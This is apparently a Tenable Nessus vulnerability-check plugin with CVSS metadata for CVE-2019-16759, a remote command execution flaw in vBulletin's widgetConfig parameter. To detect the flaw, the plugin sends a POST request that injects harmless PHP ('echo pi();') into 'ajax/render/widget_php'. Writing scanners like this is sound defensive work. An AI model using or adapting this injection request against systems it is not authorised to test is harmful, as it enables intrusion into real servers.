CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
100.0%
The version of vBulletin running on the remote host is affected by an input-validation flaw in the βwidgetConfigβ parameter to the script βajax/render/widget_phpβ that allows command execution.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(130168);
script_version("1.10");
script_set_attribute(attribute:"plugin_modification_date", value:"2024/06/04");
script_cve_id("CVE-2019-16759");
script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/05/03");
script_name(english:"vBulletin 'widget_php' Command Execution");
script_set_attribute(attribute:"synopsis", value:
"A bulletin board system running on the remote web server has a
command execution vulnerability.");
script_set_attribute(attribute:"description", value:
"The version of vBulletin running on the remote host is affected by an
input-validation flaw in the 'widgetConfig' parameter to the script
'ajax/render/widget_php' that allows command execution.");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2019/Sep/31");
script_set_attribute(attribute:"solution", value:
"Upgrade to vBulletin 5.5.4 P1 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-16759");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'vBulletin widgetConfig RCE');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
script_set_attribute(attribute:"canvas_package", value:"CANVAS");
script_set_attribute(attribute:"vuln_publication_date", value:"2019/09/23");
script_set_attribute(attribute:"patch_publication_date", value:"2019/09/29");
script_set_attribute(attribute:"plugin_publication_date", value:"2019/10/23");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:vbulletin:vbulletin");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_set_attribute(attribute:"enable_cgi_scanning", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2019-2024 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("vbulletin_detect.nasl");
script_require_keys("www/vBulletin");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
port = get_http_port(default:80);
install = get_kb_item_or_exit('www/'+port+'/vBulletin');
matches = pregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!matches)
audit(AUDIT_WEB_APP_NOT_INST, "vBulletin", port);
dir = matches[2];
if (dir !~ '/$')
dir = dir + '/';
url = dir + 'ajax/render/widget_php';
res = http_send_recv3(
method:'POST',
item:url,
data:'widgetConfig[code]=echo pi();',
add_headers:make_array('Content-Type', 'application/x-www-form-urlencoded'),
port:port,
exit_on_fail:TRUE
);
if ("3.14159265358" >!< res[2])
audit(AUDIT_WEB_APP_NOT_AFFECTED, "vBulletin", build_url(port:port,qs:dir));
pi_pos = stridx(res[2], "3.14159265358");
res_proof = substr(res[2], pi_pos - 100, pi_pos + 100);
report = get_vuln_report(
items:http_last_sent_request(),
port:port,
trailer:'\n' +
'The above request resulted in the following output :' +
'\n\n' +
res_proof
);
security_report_v4(port:port, extra:report, severity:SECURITY_HOLE);
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
100.0%